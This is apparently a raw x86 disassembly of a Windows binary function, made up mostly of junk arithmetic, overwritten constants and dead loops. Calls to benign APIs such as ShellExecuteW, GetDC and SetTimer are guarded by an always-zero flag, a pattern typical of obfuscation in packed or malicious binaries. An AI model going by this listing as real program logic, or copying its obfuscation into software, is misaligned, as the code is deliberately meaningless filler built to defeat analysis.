mov dword [ebp - 0x28], eax
jmp 0x1002b120
mov dword [ebp - 0x1c], 0xd21f1eb3
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jg 0x1002b11d
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x1e4], 0
jne 0x1002b11b
inc dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x1c], eax
jle 0x1002b104
xor eax, eax
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffff8
jl 0x1002b0f5
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x1002b0ed
mov dword [ebp - 0x24], eax
jmp 0x1002b17a
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1002b157
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1e4], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002b13f
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1002b177
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1e4], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002b15f
xor eax, eax
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffee
jg 0x1002b134
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0x12
jge 0x1002b0c1
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], eax
jl 0x1002b288
mov dword [ebp - 0x24], 9
mov dword [ebp - 0x44], 0x6b2c4eb0
mov dword [ebp - 0x50], 0xc5a4a104
mov dword [ebp - 0x24], eax
jmp 0x1002b1db
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002b1d8
push 0x1676
push 0x1439
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_LineTo]
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], eax
jle 0x1002b1b3
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], eax
jl 0x1002b27f
mov eax, dword [ebp - 0x3c]
xor edx, edx
push 3
mov eax, dword [ebp + eax*4 - 0xfc]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0xfc]
mov eax, dword [ebp - 0x44]
test eax, eax
mov eax, dword [ebp - 0x3c]
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
sub eax, 0x5161e33e
neg eax
pop ecx
sbb eax, eax
inc eax
cmp eax, 0xc58f5537
sbb eax, eax
neg eax
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
sbb edx, edx
xor ecx, ecx
inc edx
mov eax, dword [ebp + eax*4 - 0xfc]
cmp edx, eax
mov eax, dword [ebp - 0x3c]
setg cl
xor edx, edx
cmp ecx, 0xa77d
mov eax, dword [ebp + eax*4 - 0xfc]
setg dl
xor ecx, ecx
add edx, 0xfff9
cmp edx, eax
mov eax, dword [ebp - 0x3c]
setle cl
add ecx, dword [ebp + eax*4 - 0xfc]
mov dword [ebp - 0x50], ecx
dec dword [ebp - 0x24]
jns 0x1002b1ec
xor eax, eax
dec dword [ebp - 0x3c]
jns 0x1002b199
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x30], 0x67f5ed9a
mov dword [ebp - 0x30], 0xfffffffb
push 2
pop edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x30], 0xff14eb4c
mov dword [ebp - 0x50], 0x14ad38dc
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], ebx
push 3
pop ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x18], 0x525c7e4
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], edx
jge 0x1002b2ea
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x550], 0xfffffff9
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], edx
jl 0x1002b2d2
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], ebx
jge 0x1002b30a
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x584], 5
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], ebx
jl 0x1002b2f2
xor eax, eax
mov dword [ebp - 0x1c], 0x15
jmp 0x1002b451
mov dword [ebp - 0x30], 0x98070ade
mov dword [ebp - 0x4c], 0xc62e0897
mov dword [ebp - 0x30], 0x39ba095a
mov dword [ebp - 0x48], 0x49f6d4a0
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ecx
jge 0x1002b352
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x8b8], 0xffffffff
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jl 0x1002b33a
xor eax, eax
inc dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jg 0x1002b44e
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x10], 0xfff7
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edx
jg 0x1002b43a
mov dword [ebp - 0x9cc], ebx
mov dword [ebp - 0x9c8], ebx
mov dword [ebp - 0x9c4], ebx
mov dword [ebp - 0x9c0], ebx
mov dword [ebp - 0x28], eax
jmp 0x1002b3a1
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xc88], edx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
jl 0x1002b394
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x550]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x550]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x8b8]
mov eax, dword [ebp - 0x584]
mov ecx, dword [ebp - 0x10]
sub ecx, 0xd913
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x550], ecx
mov ecx, ebx
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x9cc]
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp + eax*4 - 0x8b8]
mov eax, dword [ebp - 0x38]
sub ecx, eax
add edx, ecx
add edx, dword [ebp - 0x1c]
jne 0x1002b40f
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0xc84]
mov eax, dword [ebp - 0x18]
push 2
pop edx
push 0
mov dword [ebp + eax*4 - 0x8b8], ecx
inc dword [ebp - 0x24]
pop eax
cmp dword [ebp - 0x24], edx
jle 0x1002b377
cmp dword [ebp - 0x48], eax
jne 0x1002b44b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x1002b361
push 3
pop ecx
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffffd
jl 0x1002b316
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002b476
push eax
push 0x199b
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_SetTimer]
xor eax, eax
mov byte [ebp - 0x29], al
push 0xfffffffffffffff7
pop ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x48], 0xca69919c
mov dword [ebp - 0x34], 0x6e85fcb
mov dword [ebp - 0x44], 0xfffffff9
mov dword [ebp - 0x50], 0xdd8607f4
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jge 0x1002b4c1
push 7
pop ecx
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x17c], ecx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jl 0x1002b4ae
mov ecx, dword [ebp - 0x17c]
xor edx, edx
mov eax, dword [ebp - 0x178]
cmp eax, ecx
mov eax, dword [ebp - 0x17c]
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x17c]
dec eax
neg eax
sbb eax, eax
neg eax
cmp eax, 0x7502
jne 0x1002b50d
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x17c], eax
je 0x1002b50f
mov ecx, ebx
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x48], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x38]
cmp ecx, eax
sbb edx, edx
inc edx
imul edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x17c]
cmp edx, eax
mov eax, dword [ebp - 0x34]
setg cl
cmp ecx, 4
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x178]
setge dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x44]
setne bl
xor ecx, ecx
cmp ebx, eax
mov eax, dword [ebp - 0x34]
setg cl
or edx, 0xffffffff
sub edx, ecx
xor ecx, ecx
cmp edx, eax
setne cl
sub ecx, 0x2448
neg ecx
sbb ecx, ecx
inc ecx
imul eax, ecx, 0x67e7
mov dword [ebp - 0x50], eax
cmp byte [ebp - 0x29], 0
je 0x1002b590
push 0x24c6
call dword [sym.imp.USER32.dll_GetSysColor]
dec dword [ebp - 0x20]
push 0xfffffffffffffff7
pop eax
cmp dword [ebp - 0x20], eax
push 0
pop eax
jle 0x1002ad3f
mov dword [ebp - 0x38], 0x8b5131d8
mov dword [ebp - 0x10], 0xbdb979cd
mov dword [ebp - 0x30], 0x34859bb
push 3
mov dword [ebp - 0x28], eax
pop esi
cmp dword [ebp - 0x28], esi
jge 0x1002b5da
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x36c], 0
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jl 0x1002b5c2
xor eax, eax
mov dword [ebp - 0x364], eax
jmp 0x1002b5fe
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002b5f8
push 0x24c6
call dword [sym.imp.USER32.dll_GetSysColor]
xor eax, eax
inc dword [ebp - 0x364]
cmp dword [ebp - 0x364], 2
jle 0x1002b5e2
mov eax, dword [ebp - 0x364]
xor ecx, ecx
mov dword [ebp - 0x36c], eax
mov ebx, 0xffff
cmp eax, ebx
setne cl
xor edx, edx
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x10]
cmp eax, 0x2ba2
mov eax, dword [ebp - 0x10]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x10]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setle dl
add edx, 0xb8a0db9b
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
setne cl
cmp ecx, ebx
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, 0xccba
setle cl
xor eax, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jl 0x1002bcfc
mov dword [ebp - 0x38], 0xefa9d19a
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x44], 0xadca1a1f
mov dword [ebp - 0x48], 0x4a6e8f59
mov dword [ebp - 0x4c], 0xfffffff8
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1002b6ba
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1ec], 0xb72fd491
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002b6a1
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0x18], eax
inc ebx
cmp dword [ebp - 0x18], ebx
jge 0x1002b6d9
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x320], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002b6c5
xor eax, eax
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002b6f7
push eax
push eax
push 0x6c0
push 0x15c9
push eax
call dword [sym.imp.USER32.dll_InsertMenuW]
xor eax, eax
cmp dword [ebp - 0x1e8], eax
jne 0x1002b705
mov eax, dword [ebp - 0x320]
mov eax, dword [ebp - 0x1e8]
xor edx, edx
mov ecx, dword [ebp - 0x320]
mov eax, dword [ebp - 0x44]
cmp eax, ecx
mov ecx, dword [ebp - 0x50]
setl dl
inc edx
neg edx
sbb edx, edx
inc edx
sub ecx, edx
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0xefbd
setne al
xor ecx, ecx
cmp eax, 0xc1b0
mov eax, dword [ebp - 0x1e8]
setg cl
xor edx, edx
sub ecx, eax
mov eax, dword [ebp - 0x1e8]
cmp ecx, eax
mov eax, dword [ebp - 0x1e8]
sete dl
xor ecx, ecx
cmp eax, edx
setg cl
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x1e8]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x1ec], 0xbb66efe0
mov eax, dword [ebp - 0x38]
sbb ecx, ecx
neg ecx
add eax, ecx
je 0x1002b78e
xor eax, eax
cmp dword [ebp - 0x48], eax
je 0x1002b790
mov eax, ebx
jmp 0x1002b790
xor eax, eax
mov dword [ebp - 0x4c], eax
xor eax, eax
mov dword [ebp - 0x72c], eax
mov dword [ebp - 0x728], eax
mov dword [ebp - 0x724], eax
mov dword [ebp - 0x720], eax
mov dword [ebp - 0x1c], 0x29a3df60
mov dword [ebp - 0x38], 0xfffffff6
mov dword [ebp - 0x34], 0xeba4d3ec
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jg 0x1002b83e
push 8
pop ecx
mov dword [ebp - 0x48], ecx
cmp dword [ebp - 0x1c], eax
je 0x1002b7dc
mov edx, ebx
cmp dword [ebp - 0x48], eax
jne 0x1002b7de
mov edx, eax
imul eax, dword [ebp - 0x48], 0x9a22
add eax, dword [ebp - 0x720]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x48]
imul eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x34]
je 0x1002b808
xor eax, eax
cmp dword [ebp - 0x724], eax
je 0x1002b80a
mov esi, ebx
jmp 0x1002b80c
xor eax, eax
mov esi, eax
mov eax, dword [ebp - 0x720]
xor ecx, ecx
add eax, 0x3989
cmp edx, eax
push 3
sete cl
xor edx, edx
cmp ecx, esi
pop esi
setge dl
xor eax, eax
cmp edx, 0xfffffffb
push 0
setg al
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x1c]
pop eax
cmp dword [ebp - 0x1c], esi
jle 0x1002b7ca
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002b84d
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
mov dword [ebp - 0x34], 0xfffa
mov eax, 0xd32ffab8
mov dword [ebp - 0x3c0], eax
mov dword [ebp - 0x3bc], eax
mov dword [ebp - 0x3b8], eax
mov dword [ebp - 0x3b4], eax
mov dword [ebp - 0x24], 0xfffffffa
mov dword [ebp - 0x1c], 0x79b347d1
mov eax, dword [ebp - 0x3b8]
mov eax, dword [ebp - 0x3bc]
mov eax, dword [ebp - 0x3b8]
mov eax, dword [ebp - 0x3b4]
mov eax, dword [ebp - 0x3bc]
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x3b4]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x1c], eax
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jg 0x1002b948
mov dword [ebp - 0x6cc], ebx
mov dword [ebp - 0x6c8], ebx
mov dword [ebp - 0x6c4], ebx
mov dword [ebp - 0x6c0], ebx
mov dword [ebp - 0x1c], eax
jmp 0x1002b921
mov dword [ebp - 0x10], 0xef6f0c3d
mov dword [ebp - 0x38], 0x6c7e7c0c
mov dword [ebp - 0x10], esi
cmp dword [ebp - 0x10], eax
jl 0x1002b91e
mov dword [ebp - 0x44], 0xfffffffc
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x6c4]
neg eax
cmp eax, dword [ebp - 0x38]
jle 0x1002b911
xor eax, eax
cmp dword [ebp - 0x6c4], eax
je 0x1002b913
mov eax, ebx
mov dword [ebp - 0x44], eax
dec dword [ebp - 0x10]
push 0
pop eax
jns 0x1002b8f0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jle 0x1002b8da
mov ecx, dword [ebp - 0x6c8]
xor edx, edx
mov eax, dword [ebp - 0x24]
cmp ecx, eax
push 0
setl dl
mov dword [ebp - 0x1c], edx
inc dword [ebp - 0x24]
pop eax
cmp dword [ebp - 0x24], esi
jle 0x1002b8bd
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x28], 0x17
jmp 0x1002b98b
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002b96b
push eax
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
xor eax, eax
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002b988
push 0x11ae
push eax
push eax
push eax
push eax
call edi
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 9
jle 0x1002b958
mov dword [ebp - 0x44], 0x33d2afdd
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x1002b9b8
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x124], 0x5b9b55bb
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x1002b9a0
xor eax, eax
mov dword [ebp - 0x124], eax
jmp 0x1002ba20
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x30], 9
mov dword [ebp - 0x28], eax
jmp 0x1002ba14
mov dword [ebp - 0x30], 0xda2282d5
mov dword [ebp - 0x30], 0xacd4a797
mov dword [ebp - 0x30], 0xbe3d0e72
mov dword [ebp - 0x30], 0xcbb24adc
mov dword [ebp - 0x30], 0x83518f4c
mov dword [ebp - 0x44], ebx
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002ba11
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x13
jne 0x1002b9cf
inc dword [ebp - 0x124]
cmp dword [ebp - 0x124], 0x1b
jge 0x1002b9c0
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1002ba4b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x7d4], 0xb382e580
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002ba32
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1002ba67
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xcc0], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002ba53
xor eax, eax
mov dword [ebp - 0x1c], 0x8bea
mov dword [ebp - 0x48], 0x2f34111d
mov dword [ebp - 0x48], 0x1b17d72
mov dword [ebp - 0x3c], 4
mov dword [ebp - 0x10], 0xbf7935db
mov dword [ebp - 0x38], 0x94fb389f
mov dword [ebp - 0x24], 0xd1a0c84
mov dword [ebp - 0x28], eax
jmp 0x1002baae
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x22c], 0xffffffff
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jl 0x1002ba9d
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x48], 0xffffffff
inc dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x48]
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
setge dl
xor ecx, ecx
cmp eax, edx
setne cl
cmp ecx, 0xcdee94cc
jne 0x1002bae9
mov eax, dword [ebp - 0x1c]
inc eax
jne 0x1002bae9
mov ecx, eax
jmp 0x1002baeb
mov ecx, ebx
mov eax, dword [ebp - 0x3c]
sub ecx, eax
mov eax, dword [ebp - 0x3c]
imul ecx, eax
mov dword [ebp - 0x228], ecx
cmp ecx, 0xbab72157
je 0x1002bb0d
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x48], eax
je 0x1002bb0f
mov ecx, ebx
mov eax, dword [ebp - 0x1c]
xor edx, edx
imul eax, ecx
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x3c]
setg dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x38], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
setge cl
xor eax, eax
imul ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xfffffff5
jne 0x1002bc66
mov dword [ebp - 0x1c], 0x1ef2
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x38], 0xfffffffe
mov dword [ebp - 0x44], 0xfffffffa
mov dword [ebp - 0x3c], 2
cmp dword [ebp - 0x3c], eax
jl 0x1002bc2c
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0x22c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp + eax*4 - 0x22c]
mov eax, dword [ebp - 0x10]
cmp ebx, eax
sbb eax, eax
xor edx, edx
neg eax
cmp eax, ecx
setle dl
sub edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x228]
neg edx
sbb edx, edx
xor ebx, ebx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x22c]
setle bl
sub ebx, 4
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
cmp ebx, eax
mov eax, dword [ebp - 0x3c]
setl cl
mov eax, dword [ebp + eax*4 - 0x22c]
imul eax, ecx
neg eax
jne 0x1002bbe0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0x22c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0x22c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0x22c]
mov eax, dword [ebp - 0x224]
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x22c], ecx
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x1002bc27
dec dword [ebp - 0x3c]
push 1
pop ebx
jns 0x1002bb7b
xor ebx, ebx
xor eax, eax
inc ebx
cmp dword [ebp - 0x40], eax
je 0x1002bc3d
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp - 0x48]
cmp eax, 0x2d48
push 0
setle cl
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x44], eax
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffff5
pop eax
je 0x1002bb53
cmp dword [ebp - 0x20], eax
je 0x1002bc92
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x180]
mov dword [ebp - 0x7d4], ebx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x180]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x34], eax
jne 0x1002bc9c
cmp dword [ebp - 0x180], eax
je 0x1002bca8
jmp 0x1002bc9e
xor eax, eax
mov edx, ebx
cmp dword [ebp - 0x7d4], eax
jne 0x1002bcaa
mov edx, eax
mov eax, dword [ebp - 0x34]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x34]
push 0
sete cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setl dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x180]
cmp eax, edx
mov eax, dword [ebp - 0x20]
setge cl
xor edx, edx
cmp ecx, ebx
setle dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x34]
setg bl
xor ecx, ecx
cmp ebx, eax
pop eax
setl cl
mov dword [ebp - 0xcbc], ecx
dec dword [ebp - 0x20]
jns 0x1002b679
mov esi, dword [sym.imp.USER32.dll_GetParent]
mov ebx, 0xc93b4e1
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xfffffff9
jne 0x1002bdbe
push 3
pop ecx
push 4
pop edx
mov dword [ebp - 0x94c], edx
mov dword [ebp - 0x948], edx
mov dword [ebp - 0x944], edx
mov dword [ebp - 0x940], edx
mov dword [ebp - 0x24], 0x3fbb4ebb
mov dword [ebp - 0x1c], 0xf90a2337
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], eax
jl 0x1002bd71
push 0xfffffffffffffff6
pop eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0x94c], 0
jne 0x1002bd6f
dec dword [ebp - 0x24]
jns 0x1002bd4e
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffef
jg 0x1002bdb1
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], eax
jl 0x1002bd9e
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002bd90
call edi
push eax
call esi
mov eax, dword [ebp - 0x24]
dec dword [ebp - 0x24]
push 0
pop eax
jns 0x1002bd82
push 3
pop ecx
mov dword [ebp - 0x44], 1
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffef
jle 0x1002bd7a
push 4
pop edx
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffff9
je 0x1002bd20
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xfffffff9
jne 0x1002be75
push 3
pop ecx
push 4
pop edx
mov dword [ebp - 0xa4c], edx
mov dword [ebp - 0xa48], edx
mov dword [ebp - 0xa44], edx
mov dword [ebp - 0xa40], edx
mov dword [ebp - 0x24], 0x3fbb4ebb
mov dword [ebp - 0x1c], 0xf90a2337
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], eax
jl 0x1002be28
push 0xfffffffffffffff6
pop eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0xa4c], 0
jne 0x1002be26
dec dword [ebp - 0x24]
jns 0x1002be05
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffef
jg 0x1002be68
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], eax
jl 0x1002be55
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002be47
call edi
push eax
call esi
mov eax, dword [ebp - 0x24]
dec dword [ebp - 0x24]
push 0
pop eax
jns 0x1002be39
push 3
pop ecx
mov dword [ebp - 0x44], 1
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffef
jle 0x1002be31
push 4
pop edx
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffff9
je 0x1002bdd7
mov dword [ebp - 0x30], 0x4bb3
mov dword [ebp - 0x44], 0x3bc5f263
push 3
mov dword [ebp - 0x20], eax
pop edx
cmp dword [ebp - 0x20], edx
jge 0x1002bea6
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x284], 0xfffffffc
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x1002be8e
xor eax, eax
xor ecx, ecx
mov dword [ebp - 0x20], eax
inc ecx
cmp dword [ebp - 0x20], ecx
jge 0x1002bec9
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x658], 0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x1002beb1
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x1002beeb
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x430], 0xb1b9
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x1002bed2
xor eax, eax
mov ebx, dword [sym.imp.USER32.dll_IsWindow]
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 0x17
jl 0x1002c06f
jmp 0x1002bf08
xor eax, eax
mov dword [ebp - 0x44], 0xfffffffa
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x48], 0xfffffffb
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x50], 5
mov dword [ebp - 0x4c], 0xe2d3d478
mov dword [ebp - 0x30], 0xa2ff3e14
mov dword [ebp - 0x28], 0x3adeb945
mov dword [ebp - 0x30], 0xa832
mov dword [ebp - 0x18], eax
